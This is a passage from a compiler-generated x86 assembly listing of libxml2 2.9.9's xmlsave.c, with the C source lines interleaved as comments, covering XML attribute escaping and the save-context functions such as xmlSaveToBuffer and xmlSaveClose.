; 468 : xmlBufDumpNotationTable(xmlBufPtr buf, xmlNotationTablePtr table) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
call _xmlBufferCreate
mov esi, eax
test esi, esi
je SHORT $LN1@xmlBufDump
; 469 : xmlBufferPtr buffer;
; 470 :
; 471 : buffer = xmlBufferCreate();
; 472 : if (buffer == NULL) {
; 473 : /*
; 474 : * TODO set the error in buf
; 475 : */
; 476 : return;
; 477 : }
; 478 : xmlDumpNotationTable(buffer, table);
push DWORD PTR _table$[ebp]
push esi
call _xmlDumpNotationTable
; 479 : xmlBufMergeBuffer(buf, buffer);
push esi
push DWORD PTR _buf$[ebp]
call _xmlBufMergeBuffer
add esp, 16 ; 00000010H
$LN1@xmlBufDump:
pop esi
; 480 : }
pop ebp
ret 0
_xmlBufDumpNotationTable ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlBufAttrSerializeTxtContent
_TEXT SEGMENT
_tmp$1 = -12 ; size = 12
_buf$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_attr$ = 16 ; size = 4
_l$1$ = 20 ; size = 4
_string$ = 20 ; size = 4
_xmlBufAttrSerializeTxtContent PROC ; COMDAT
; 2048 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
mov ecx, OFFSET __BAD788A4_xmlsave@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _string$[ebp]
test esi, esi
je $LN39@xmlBufAttr
; 2049 : xmlChar *base, *cur;
; 2050 :
; 2051 : if (string == NULL)
; 2052 : return;
; 2053 : base = cur = (xmlChar *) string;
mov al, BYTE PTR [esi]
mov ecx, esi
; 2054 : while (*cur != 0) {
test al, al
je $LN39@xmlBufAttr
push edi
mov edi, DWORD PTR _buf$[ebp]
push ebx
npad 3
$LL2@xmlBufAttr:
; 2055 : if (*cur == '\n') {
cmp al, 10 ; 0000000aH
jne SHORT $LN5@xmlBufAttr
; 2056 : if (base != cur)
cmp ecx, esi
je SHORT $LN7@xmlBufAttr
; 2057 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN7@xmlBufAttr:
; 2058 : xmlBufAdd(buf, BAD_CAST " ", 5);
push 5
push OFFSET ??_C@_05EJOHHIMP@?$CG?$CD10?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2059 : cur++;
inc esi
; 2060 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN5@xmlBufAttr:
; 2061 : } else if (*cur == '\r') {
cmp al, 13 ; 0000000dH
jne SHORT $LN8@xmlBufAttr
; 2062 : if (base != cur)
cmp ecx, esi
je SHORT $LN10@xmlBufAttr
; 2063 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN10@xmlBufAttr:
; 2064 : xmlBufAdd(buf, BAD_CAST " ", 5);
push 5
push OFFSET ??_C@_05ELKBMGJG@?$CG?$CD13?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2065 : cur++;
inc esi
; 2066 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN8@xmlBufAttr:
; 2067 : } else if (*cur == '\t') {
cmp al, 9
jne SHORT $LN11@xmlBufAttr
; 2068 : if (base != cur)
cmp ecx, esi
je SHORT $LN13@xmlBufAttr
; 2069 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN13@xmlBufAttr:
; 2070 : xmlBufAdd(buf, BAD_CAST "	", 4);
push 4
push OFFSET ??_C@_04NCNDODLB@?$CG?$CD9?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2071 : cur++;
inc esi
; 2072 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN11@xmlBufAttr:
; 2073 : } else if (*cur == '"') {
cmp al, 34 ; 00000022H
jne SHORT $LN14@xmlBufAttr
; 2074 : if (base != cur)
cmp ecx, esi
je SHORT $LN16@xmlBufAttr
; 2075 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN16@xmlBufAttr:
; 2076 : xmlBufAdd(buf, BAD_CAST """, 6);
push 6
push OFFSET ??_C@_06DDLNFFBN@?$CGquot?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2077 : cur++;
inc esi
; 2078 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN14@xmlBufAttr:
; 2079 : } else if (*cur == '<') {
cmp al, 60 ; 0000003cH
jne SHORT $LN17@xmlBufAttr
; 2080 : if (base != cur)
cmp ecx, esi
je SHORT $LN19@xmlBufAttr
; 2081 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN19@xmlBufAttr:
; 2082 : xmlBufAdd(buf, BAD_CAST "<", 4);
push 4
push OFFSET ??_C@_04GJOGLFEJ@?$CGlt?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2083 : cur++;
inc esi
; 2084 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN17@xmlBufAttr:
; 2085 : } else if (*cur == '>') {
cmp al, 62 ; 0000003eH
jne SHORT $LN20@xmlBufAttr
; 2086 : if (base != cur)
cmp ecx, esi
je SHORT $LN22@xmlBufAttr
; 2087 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN22@xmlBufAttr:
; 2088 : xmlBufAdd(buf, BAD_CAST ">", 4);
push 4
push OFFSET ??_C@_04LOOHDCEI@?$CGgt?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2089 : cur++;
inc esi
; 2090 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN20@xmlBufAttr:
; 2091 : } else if (*cur == '&') {
cmp al, 38 ; 00000026H
jne SHORT $LN23@xmlBufAttr
; 2092 : if (base != cur)
cmp ecx, esi
je SHORT $LN61@xmlBufAttr
; 2093 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN61@xmlBufAttr:
; 2094 : xmlBufAdd(buf, BAD_CAST "&", 5);
push 5
push OFFSET ??_C@_05JKJFEODM@?$CGamp?$DL@
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
; 2095 : cur++;
inc esi
; 2096 : base = cur;
mov ecx, esi
jmp $LN27@xmlBufAttr
$LN23@xmlBufAttr:
; 2097 : } else if ((*cur >= 0x80) && (cur[1] != 0) &&
cmp al, 128 ; 00000080H
jb $LN26@xmlBufAttr
cmp BYTE PTR [esi+1], 0
je $LN26@xmlBufAttr
mov edx, DWORD PTR _doc$[ebp]
test edx, edx
je SHORT $LN28@xmlBufAttr
cmp DWORD PTR [edx+60], 0
jne $LN26@xmlBufAttr
$LN28@xmlBufAttr:
; 2098 : ((doc == NULL) || (doc->encoding == NULL))) {
; 2099 : /*
; 2100 : * We assume we have UTF-8 content.
; 2101 : */
; 2102 : unsigned char tmp[12];
; 2103 : int val = 0, l = 1;
; 2104 :
; 2105 : if (base != cur)
cmp ecx, esi
je SHORT $LN62@xmlBufAttr
; 2106 : xmlBufAdd(buf, base, cur - base);
mov eax, esi
sub eax, ecx
push eax
push ecx
push edi
call _xmlBufAdd
mov al, BYTE PTR [esi]
add esp, 12 ; 0000000cH
$LN62@xmlBufAttr:
; 2107 : if (*cur < 0xC0) {
cmp al, 192 ; 000000c0H
jae SHORT $LN30@xmlBufAttr
; 2108 : xmlSaveErr(XML_SAVE_NOT_UTF8, (xmlNodePtr) attr, NULL);
push 0
push DWORD PTR _attr$[ebp]
push 1400 ; 00000578H
call _xmlSaveErr
; 2109 : xmlSerializeHexCharRef(tmp, *cur);
movzx eax, BYTE PTR [esi]
push eax
lea eax, DWORD PTR _tmp$1[ebp]
push eax
call _xmlSerializeHexCharRef
; 2110 : xmlBufAdd(buf, (xmlChar *) tmp, -1);
push -1
lea eax, DWORD PTR _tmp$1[ebp]
push eax
push edi
call _xmlBufAdd
add esp, 32 ; 00000020H
; 2111 : cur++;
inc esi
; 2112 : base = cur;
mov ecx, esi
; 2113 : continue;
jmp $LN27@xmlBufAttr
$LN30@xmlBufAttr:
; 2114 : } else if (*cur < 0xE0) {
cmp al, 224 ; 000000e0H
jae SHORT $LN32@xmlBufAttr
; 2115 : val = (cur[0]) & 0x1F;
; 2116 : val <<= 6;
; 2117 : val |= (cur[1]) & 0x3F;
movzx ecx, al
movzx eax, BYTE PTR [esi+1]
and ecx, 31 ; 0000001fH
; 2118 : l = 2;
mov DWORD PTR _l$1$[ebp], 2
jmp SHORT $LN65@xmlBufAttr
$LN32@xmlBufAttr:
; 2119 : } else if ((*cur < 0xF0) && (cur [2] != 0)) {
cmp al, 240 ; 000000f0H
jae SHORT $LN63@xmlBufAttr
mov dl, BYTE PTR [esi+2]
test dl, dl
je SHORT $LN63@xmlBufAttr
; 2120 : val = (cur[0]) & 0x0F;
; 2121 : val <<= 6;
; 2122 : val |= (cur[1]) & 0x3F;
; 2123 : val <<= 6;
; 2124 : val |= (cur[2]) & 0x3F;
movzx ecx, al
movzx eax, BYTE PTR [esi+1]
and ecx, 15 ; 0000000fH
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
; 2125 : l = 3;
mov DWORD PTR _l$1$[ebp], 3
movzx eax, dl
jmp SHORT $LN65@xmlBufAttr
$LN63@xmlBufAttr:
; 2126 : } else if ((*cur < 0xF8) && (cur [2] != 0) && (cur[3] != 0)) {
cmp al, 248 ; 000000f8H
jae SHORT $LN57@xmlBufAttr
mov dl, BYTE PTR [esi+2]
test dl, dl
je SHORT $LN57@xmlBufAttr
mov dh, BYTE PTR [esi+3]
test dh, dh
je SHORT $LN57@xmlBufAttr
; 2127 : val = (cur[0]) & 0x07;
; 2128 : val <<= 6;
; 2129 : val |= (cur[1]) & 0x3F;
; 2130 : val <<= 6;
; 2131 : val |= (cur[2]) & 0x3F;
; 2132 : val <<= 6;
; 2133 : val |= (cur[3]) & 0x3F;
movzx ecx, al
movzx eax, BYTE PTR [esi+1]
and ecx, 7
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
; 2134 : l = 4;
mov DWORD PTR _l$1$[ebp], 4
movzx eax, dl
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
movzx eax, dh
$LN65@xmlBufAttr:
; 2135 : }
; 2136 : if ((l == 1) || (!IS_CHAR(val))) {
and eax, 63 ; 0000003fH
shl ecx, 6
or ecx, eax
cmp ecx, 256 ; 00000100H
jae SHORT $LN49@xmlBufAttr
cmp ecx, 9
jb SHORT $LN41@xmlBufAttr
cmp ecx, 10 ; 0000000aH
jbe SHORT $LN60@xmlBufAttr
$LN41@xmlBufAttr:
cmp ecx, 13 ; 0000000dH
je SHORT $LN60@xmlBufAttr
cmp ecx, 32 ; 00000020H
jae SHORT $LN60@xmlBufAttr
$LN57@xmlBufAttr:
; 2137 : xmlSaveErr(XML_SAVE_CHAR_INVALID, (xmlNodePtr) attr, NULL);
push 0
push DWORD PTR _attr$[ebp]
push 1401 ; 00000579H
call _xmlSaveErr
; 2138 : xmlSerializeHexCharRef(tmp, *cur);
movzx eax, BYTE PTR [esi]
push eax
lea eax, DWORD PTR _tmp$1[ebp]
push eax
call _xmlSerializeHexCharRef
; 2139 : xmlBufAdd(buf, (xmlChar *) tmp, -1);
push -1
lea eax, DWORD PTR _tmp$1[ebp]
push eax
push edi
call _xmlBufAdd
add esp, 32 ; 00000020H
; 2140 : cur++;
inc esi
; 2141 : base = cur;
mov ecx, esi
; 2142 : continue;
jmp SHORT $LN27@xmlBufAttr
$LN49@xmlBufAttr:
; 2135 : }
; 2136 : if ((l == 1) || (!IS_CHAR(val))) {
cmp ecx, 55295 ; 0000d7ffH
jbe SHORT $LN60@xmlBufAttr
cmp ecx, 57344 ; 0000e000H
jb SHORT $LN44@xmlBufAttr
cmp ecx, 65533 ; 0000fffdH
jbe SHORT $LN60@xmlBufAttr
$LN44@xmlBufAttr:
lea eax, DWORD PTR [ecx-65536]
cmp eax, 1048575 ; 000fffffH
ja SHORT $LN57@xmlBufAttr
$LN60@xmlBufAttr:
; 2143 : }
; 2144 : /*
; 2145 : * We could do multiple things here. Just save
; 2146 : * as a char ref
; 2147 : */
; 2148 : xmlSerializeHexCharRef(tmp, val);
push ecx
lea eax, DWORD PTR _tmp$1[ebp]
push eax
call _xmlSerializeHexCharRef
; 2149 : xmlBufAdd(buf, (xmlChar *) tmp, -1);
push -1
lea eax, DWORD PTR _tmp$1[ebp]
push eax
push edi
call _xmlBufAdd
add esp, 20 ; 00000014H
; 2150 : cur += l;
add esi, DWORD PTR _l$1$[ebp]
; 2151 : base = cur;
mov ecx, esi
; 2152 : } else {
jmp SHORT $LN27@xmlBufAttr
$LN26@xmlBufAttr:
; 2153 : cur++;
inc esi
$LN27@xmlBufAttr:
; 2054 : while (*cur != 0) {
mov al, BYTE PTR [esi]
test al, al
jne $LL2@xmlBufAttr
; 2154 : }
; 2155 : }
; 2156 : if (base != cur)
pop ebx
cmp ecx, esi
je SHORT $LN64@xmlBufAttr
; 2157 : xmlBufAdd(buf, base, cur - base);
sub esi, ecx
push esi
push ecx
push edi
call _xmlBufAdd
add esp, 12 ; 0000000cH
$LN64@xmlBufAttr:
pop edi
$LN39@xmlBufAttr:
pop esi
; 2158 : }
mov esp, ebp
pop ebp
ret 0
_xmlBufAttrSerializeTxtContent ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveSetAttrEscape
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_escape$ = 12 ; size = 4
_xmlSaveSetAttrEscape PROC ; COMDAT
; 2024 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _ctxt$[ebp]
test ecx, ecx
jne SHORT $LN2@xmlSaveSet
; 2025 : if (ctxt == NULL) return(-1);
or eax, -1
; 2028 : }
pop ebp
ret 0
$LN2@xmlSaveSet:
; 2026 : ctxt->escapeAttr = escape;
mov eax, DWORD PTR _escape$[ebp]
mov DWORD PTR [ecx+120], eax
; 2027 : return(0);
xor eax, eax
; 2028 : }
pop ebp
ret 0
_xmlSaveSetAttrEscape ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveSetEscape
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_escape$ = 12 ; size = 4
_xmlSaveSetEscape PROC ; COMDAT
; 2007 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _ctxt$[ebp]
test ecx, ecx
jne SHORT $LN2@xmlSaveSet
; 2008 : if (ctxt == NULL) return(-1);
or eax, -1
; 2011 : }
pop ebp
ret 0
$LN2@xmlSaveSet:
; 2009 : ctxt->escape = escape;
mov eax, DWORD PTR _escape$[ebp]
mov DWORD PTR [ecx+116], eax
; 2010 : return(0);
xor eax, eax
; 2011 : }
pop ebp
ret 0
_xmlSaveSetEscape ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveClose
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_xmlSaveClose PROC ; COMDAT
; 1987 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
jne SHORT $LN2@xmlSaveClo
; 1988 : int ret;
; 1989 :
; 1990 : if (ctxt == NULL) return(-1);
or eax, -1
pop esi
; 1994 : }
pop ebp
ret 0
$LN2@xmlSaveClo:
; 1972 : if (ctxt->buf == NULL) return(-1);
mov eax, DWORD PTR [esi+24]
push edi
test eax, eax
jne SHORT $LN6@xmlSaveClo
or edi, -1
jmp SHORT $LN4@xmlSaveClo
$LN6@xmlSaveClo:
; 1973 : return(xmlOutputBufferFlush(ctxt->buf));
push eax
call _xmlOutputBufferFlush
add esp, 4
mov edi, eax
$LN4@xmlSaveClo:
; 365 : if (ctxt->encoding != NULL)
mov ecx, DWORD PTR [esi+16]
test ecx, ecx
je SHORT $LN10@xmlSaveClo
; 366 : xmlFree((char *) ctxt->encoding);
push ecx
call DWORD PTR _xmlFree
add esp, 4
$LN10@xmlSaveClo:
; 367 : if (ctxt->buf != NULL)
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN11@xmlSaveClo
; 368 : xmlOutputBufferClose(ctxt->buf);
push eax
call _xmlOutputBufferClose
add esp, 4
$LN11@xmlSaveClo:
; 369 : xmlFree(ctxt);
push esi
call DWORD PTR _xmlFree
add esp, 4
; 1991 : ret = xmlSaveFlush(ctxt);
; 1992 : xmlFreeSaveCtxt(ctxt);
; 1993 : return(ret);
mov eax, edi
pop edi
pop esi
; 1994 : }
pop ebp
ret 0
_xmlSaveClose ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveFlush
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_xmlSaveFlush PROC ; COMDAT
; 1970 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _ctxt$[ebp]
test eax, eax
je SHORT $LN5@xmlSaveFlu
; 1971 : if (ctxt == NULL) return(-1);
; 1972 : if (ctxt->buf == NULL) return(-1);
mov eax, DWORD PTR [eax+24]
test eax, eax
je SHORT $LN5@xmlSaveFlu
; 1973 : return(xmlOutputBufferFlush(ctxt->buf));
mov DWORD PTR _ctxt$[ebp], eax
; 1974 : }
pop ebp
; 1973 : return(xmlOutputBufferFlush(ctxt->buf));
jmp _xmlOutputBufferFlush
$LN5@xmlSaveFlu:
; 1971 : if (ctxt == NULL) return(-1);
; 1972 : if (ctxt->buf == NULL) return(-1);
or eax, -1
; 1974 : }
pop ebp
ret 0
_xmlSaveFlush ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveTree
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_node$ = 12 ; size = 4
_xmlSaveTree PROC ; COMDAT
; 1951 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _ctxt$[ebp]
test ecx, ecx
je SHORT $LN3@xmlSaveTre
; 1952 : long ret = 0;
; 1953 :
; 1954 : if ((ctxt == NULL) || (node == NULL)) return(-1);
mov eax, DWORD PTR _node$[ebp]
test eax, eax
je SHORT $LN3@xmlSaveTre
; 1955 : xmlNodeDumpOutputInternal(ctxt, node);
push eax
push ecx
call _xmlNodeDumpOutputInternal
add esp, 8
; 1956 : return(ret);
xor eax, eax
; 1957 : }
pop ebp
ret 0
$LN3@xmlSaveTre:
; 1952 : long ret = 0;
; 1953 :
; 1954 : if ((ctxt == NULL) || (node == NULL)) return(-1);
or eax, -1
; 1957 : }
pop ebp
ret 0
_xmlSaveTree ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveDoc
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_xmlSaveDoc PROC ; COMDAT
; 1929 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ecx, DWORD PTR _ctxt$[ebp]
test ecx, ecx
je SHORT $LN3@xmlSaveDoc
; 1930 : long ret = 0;
; 1931 :
; 1932 : if ((ctxt == NULL) || (doc == NULL)) return(-1);
mov eax, DWORD PTR _doc$[ebp]
test eax, eax
je SHORT $LN3@xmlSaveDoc
; 1933 : if (xmlDocContentDumpOutput(ctxt, doc) < 0)
push eax
push ecx
call _xmlDocContentDumpOutput
add esp, 8
test eax, eax
js SHORT $LN3@xmlSaveDoc
; 1934 : return(-1);
; 1935 : return(ret);
xor eax, eax
; 1936 : }
pop ebp
ret 0
$LN3@xmlSaveDoc:
; 1930 : long ret = 0;
; 1931 :
; 1932 : if ((ctxt == NULL) || (doc == NULL)) return(-1);
or eax, -1
; 1936 : }
pop ebp
ret 0
_xmlSaveDoc ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveToIO
_TEXT SEGMENT
_iowrite$ = 8 ; size = 4
_ioclose$ = 12 ; size = 4
_ioctx$ = 16 ; size = 4
_encoding$ = 20 ; size = 4
_options$ = 24 ; size = 4
_xmlSaveToIO PROC ; COMDAT
; 1903 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _options$[ebp]
push DWORD PTR _encoding$[ebp]
call _xmlNewSaveCtxt
mov esi, eax
add esp, 8
test esi, esi
je SHORT $LN5@xmlSaveToI
; 1904 : xmlSaveCtxtPtr ret;
; 1905 :
; 1906 : ret = xmlNewSaveCtxt(encoding, options);
; 1907 : if (ret == NULL) return(NULL);
; 1908 : ret->buf = xmlOutputBufferCreateIO(iowrite, ioclose, ioctx, ret->handler);
push DWORD PTR [esi+20]
push DWORD PTR _ioctx$[ebp]
push DWORD PTR _ioclose$[ebp]
push DWORD PTR _iowrite$[ebp]
call _xmlOutputBufferCreateIO
add esp, 16 ; 00000010H
mov DWORD PTR [esi+24], eax
; 1909 : if (ret->buf == NULL) {
test eax, eax
jne SHORT $LN3@xmlSaveToI
; 1910 : xmlFreeSaveCtxt(ret);
push esi
call _xmlFreeSaveCtxt
add esp, 4
$LN5@xmlSaveToI:
; 1914 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN3@xmlSaveToI:
; 1911 : return(NULL);
; 1912 : }
; 1913 : return(ret);
mov eax, esi
pop esi
; 1914 : }
pop ebp
ret 0
_xmlSaveToIO ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveToBuffer
_TEXT SEGMENT
_buffer$ = 8 ; size = 4
_encoding$ = 12 ; size = 4
_options$ = 16 ; size = 4
_xmlSaveToBuffer PROC ; COMDAT
; 1859 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _options$[ebp]
mov esi, DWORD PTR _encoding$[ebp]
push esi
call _xmlNewSaveCtxt
mov edi, eax
add esp, 8
test edi, edi
je SHORT $LN7@xmlSaveToB
; 1860 : xmlSaveCtxtPtr ret;
; 1861 : xmlOutputBufferPtr out_buff;
; 1862 : xmlCharEncodingHandlerPtr handler;
; 1863 :
; 1864 : ret = xmlNewSaveCtxt(encoding, options);
; 1865 : if (ret == NULL) return(NULL);
; 1866 :
; 1867 : if (encoding != NULL) {
test esi, esi
je SHORT $LN3@xmlSaveToB
; 1868 : handler = xmlFindCharEncodingHandler(encoding);
push esi
call _xmlFindCharEncodingHandler
mov esi, eax
add esp, 4
; 1869 : if (handler == NULL) {
test esi, esi
jne SHORT $LN4@xmlSaveToB
; 1870 : xmlFree(ret);
push edi
call DWORD PTR _xmlFree
; 1884 : }
add esp, 4
$LN7@xmlSaveToB:
pop edi
xor eax, eax
pop esi
pop ebp
ret 0
$LN3@xmlSaveToB:
; 1871 : return(NULL);
; 1872 : }
; 1873 : } else
; 1874 : handler = NULL;
xor esi, esi
$LN4@xmlSaveToB:
; 1875 : out_buff = xmlOutputBufferCreateBuffer(buffer, handler);
push esi
push DWORD PTR _buffer$[ebp]
call _xmlOutputBufferCreateBuffer
add esp, 8
; 1876 : if (out_buff == NULL) {
test eax, eax
jne SHORT $LN6@xmlSaveToB
; 1877 : xmlFree(ret);
push edi
call DWORD PTR _xmlFree
add esp, 4
; 1878 : if (handler) xmlCharEncCloseFunc(handler);
test esi, esi
je SHORT $LN7@xmlSaveToB
push esi
call _xmlCharEncCloseFunc
; 1884 : }
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
ret 0
$LN6@xmlSaveToB:
; 1879 : return(NULL);
; 1880 : }
; 1881 :
; 1882 : ret->buf = out_buff;
mov DWORD PTR [edi+24], eax
; 1883 : return(ret);
mov eax, edi
pop edi
; 1884 : }
pop esi
pop ebp
ret 0
_xmlSaveToBuffer ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveToFilename
_TEXT SEGMENT
_filename$ = 8 ; size = 4
_encoding$ = 12 ; size = 4
_options$ = 16 ; size = 4
_xmlSaveToFilename PROC ; COMDAT
; 1830 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _options$[ebp]
push DWORD PTR _encoding$[ebp]
call _xmlNewSaveCtxt
mov esi, eax
add esp, 8
test esi, esi
je SHORT $LN5@xmlSaveToF
; 1831 : xmlSaveCtxtPtr ret;
; 1832 : int compression = 0; /* TODO handle compression option */
; 1833 :
; 1834 : ret = xmlNewSaveCtxt(encoding, options);
; 1835 : if (ret == NULL) return(NULL);
; 1836 : ret->buf = xmlOutputBufferCreateFilename(filename, ret->handler,
push 0
push DWORD PTR [esi+20]
push DWORD PTR _filename$[ebp]
call _xmlOutputBufferCreateFilename
add esp, 12 ; 0000000cH
mov DWORD PTR [esi+24], eax
; 1837 : compression);
; 1838 : if (ret->buf == NULL) {
test eax, eax
jne SHORT $LN3@xmlSaveToF
; 1839 : xmlFreeSaveCtxt(ret);
push esi
call _xmlFreeSaveCtxt
add esp, 4
$LN5@xmlSaveToF:
; 1843 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN3@xmlSaveToF:
; 1840 : return(NULL);
; 1841 : }
; 1842 : return(ret);
mov eax, esi
pop esi
; 1843 : }
pop ebp
ret 0
_xmlSaveToFilename ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlSaveToFd
_TEXT SEGMENT
_fd$ = 8 ; size = 4
_encoding$ = 12 ; size = 4
_options$ = 16 ; size = 4
_xmlSaveToFd PROC ; COMDAT
; 1803 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _options$[ebp]
push DWORD PTR _encoding$[ebp]
call _xmlNewSaveCtxt
mov esi, eax
add esp, 8
test esi, esi
je SHORT $LN5@xmlSaveToF
; 1804 : xmlSaveCtxtPtr ret;
; 1805 :
; 1806 : ret = xmlNewSaveCtxt(encoding, options);
; 1807 : if (ret == NULL) return(NULL);
; 1808 : ret->buf = xmlOutputBufferCreateFd(fd, ret->handler);
push DWORD PTR [esi+20]
push DWORD PTR _fd$[ebp]
call _xmlOutputBufferCreateFd
add esp, 8
mov DWORD PTR [esi+24], eax
; 1809 : if (ret->buf == NULL) {
test eax, eax
jne SHORT $LN3@xmlSaveToF
; 1810 : xmlFreeSaveCtxt(ret);
push esi
call _xmlFreeSaveCtxt
add esp, 4
$LN5@xmlSaveToF:
; 1814 : }
xor eax, eax
pop esi
pop ebp
ret 0
$LN3@xmlSaveToF:
; 1811 : return(NULL);
; 1812 : }
; 1813 : return(ret);
mov eax, esi
pop esi
; 1814 : }
pop ebp
ret 0
_xmlSaveToFd ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlIsXHTML
_TEXT SEGMENT
_systemID$ = 8 ; size = 4
_publicID$ = 12 ; size = 4
_xmlIsXHTML PROC ; COMDAT
; 55 : xmlIsXHTML(const xmlChar *systemID, const xmlChar *publicID) {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _systemID$[ebp]
mov esi, DWORD PTR _publicID$[ebp]
test edi, edi
jne SHORT $LN2@xmlIsXHTML
